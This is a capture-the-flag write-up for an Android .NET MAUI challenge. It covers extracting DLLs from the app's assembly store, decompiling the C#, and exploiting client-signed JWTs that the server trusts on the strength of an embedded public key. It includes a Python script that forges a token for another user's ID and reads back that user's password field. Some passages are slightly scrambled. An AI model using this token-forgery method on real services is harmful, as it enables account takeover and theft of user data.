Siccrest ships as a single Android APK. Open it in jadx and the Java side is almost
empty — the tell-tale shape of a Xamarin / .NET MAUI app, where all the real
logic lives in managed C# compiled to DLLs and then hidden inside a native-looking ELF. The whole
challenge is a two-act play: first get the DLLs out of the app's assembly store, then read the
C# and notice that the app signs its own authentication tokens.
That second part is the actual vulnerability. The app mints its JWTs locally and the server trusts
whatever public key the client attaches. Once you see that, the flag is a matter of forging a token for
someone else's userId and asking the server politely for their record.
Run jadx on the APK and the Java packages are just the Xamarin bootstrap shim —
no business logic. That emptiness, plus native libraries under lib/, is the signature of a
.NET MAUI build. The code you care about is managed, compiled to .NET assemblies, and bundled
into a file that merely looks like a shared object.
jadx is only good for identifying the framework and confirming there's no
Java logic. The C# lives elsewhere. Don't waste time reading the Java glue — pivot straight to
the assembly store.
libassembly-store.so) loaded in a single mapping, instead of shipping them as separate
files — which is exactly why they never appear as .dll entries in the APK.
MAUI packs its managed DLLs into libassembly-store.so. Despite the .so
extension this is an ELF wrapping an XABA assembly store: a payload section
holding each assembly back-to-back. Every assembly is LZ4-compressed behind an
XALZ header:
The catch: the XABA v3 header and index tables are underdocumented, and parsing them by hand is fiddly and error-prone. There is a much faster way in.
Rather than parse the store format, go looking for the assemblies themselves. Every .NET
assembly's metadata root begins with the four-byte signature BSJB. So the recovery
strategy is: scan the store for BSJB, and for each hit trace backwards to the
enclosing XALZ entry's boundaries. From the XALZ header you read the
uncompressed_size and then LZ4-decompress the block.
# locate each .NET assembly without decoding the XABA index
# 1. scan payload for the BSJB metadata signature
# 2. walk back to the owning XALZ entry (magic + index + uncompressed_size)
# 3. LZ4 block-decompress, passing uncompressed_size from the XALZ header
import lz4.block, struct
data = lz4.block.decompress(xalz_payload, uncompressed_size=usize)
BSJB = .NET metadata) and recover entries around it. You skip the whole XABA
header/index headache and still get clean DLLs. Pass the uncompressed_size from the
XALZ header to the LZ4 block decoder — block mode needs it.
With the DLL on disk, hand it to a .NET decompiler — ilspycmd (the ILSpy command-line
tool) or dnSpyEx — and read the recovered C# directly. MAUI assemblies decompile cleanly, so the
app's actual logic reads almost like the original source.
# decompile the recovered assembly to C#
$ ilspycmd Siccrest.dll -o ./src
Reading the decompiled C#, the authentication is done entirely on the client. The app generates its
own RSA keypair, builds a JWT with a userId it chooses, and the server verifies
the signature against the public key the client ships inside the token. That is the whole bug.
userId. There is no server-side key
management to stop it — which is exactly what the flag text teases.
The concrete scheme recovered from the C#:
| Element | Value / construction |
|---|---|
| Keypair | RSA 2048, generated locally (Android KeyStore), alias doubidou |
| JWT claims | userId, publicKey (base64 DER), signature, iat, exp |
signature | MD5("doubi" + pubkey + iat + "douba") |
| Auth header | the raw JWT — no Bearer prefix |
And the two-call handshake the app performs:
The first call to /api/users/all is what registers the public key with the server; only
after that does /api/users/me return the record for whatever userId your token
claims.
Replicate the client: generate your own RSA 2048 keypair, build the claim set with
userId = "1337" (the premium user), compute the signature MD5 exactly as the
app does, sign the JWT, and send the raw token as the Authorization header. Call
/api/users/all first to register the key, then /api/users/me.
from cryptography.hazmat.primitives.asymmetric import rsa
import hashlib, requests
# generate our own keypair — the server will trust it
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_der_b64 = # base64(DER of public key)
iat = # issued-at timestamp
signature = hashlib.md5(("doubi" + pub_der_b64 + str(iat) + "douba").encode()).hexdigest()
# claims: pick the premium user
claims = {"userId": "1337", "publicKey": pub_der_b64,
"signature": signature, "iat": iat, "exp": iat + 3600}
jwt = # sign claims with our private key
# raw JWT as the header value — NO "Bearer " prefix
hdr = {"Authorization": jwt}
requests.post(BASE + "/api/users/all", headers=hdr) # register pubkey first
me = requests.get(BASE + "/api/users/me", headers=hdr).json()
print(me["password"]) # flag lives here
User 1337 is the premium account, and the flag comes back in its password
field.
BSJB and recovering the enclosing XALZ entry
is faster and less error-prone.uncompressed_size from the
XALZ header to the decompressor, or the decode fails.Bearer prefix. The Authorization header is the raw
JWT. Adding the usual prefix breaks the request./api/users/all before
/api/users/me — the first call is what registers your public key server-side."doubi" + pubkey + iat + "douba"; any mismatch in concatenation or the iat
value invalidates the token.libassembly-store.so, not in the Java jadx shows you. Identify the framework, then pivot
to the assembly store.BSJB) and recover entries around it.Tools: jadx (framework ID), Python (lz4, struct) for XABA/XALZ extraction, ilspycmd / dnSpyEx (C# decompile), Python (cryptography, requests) for the JWT forgery.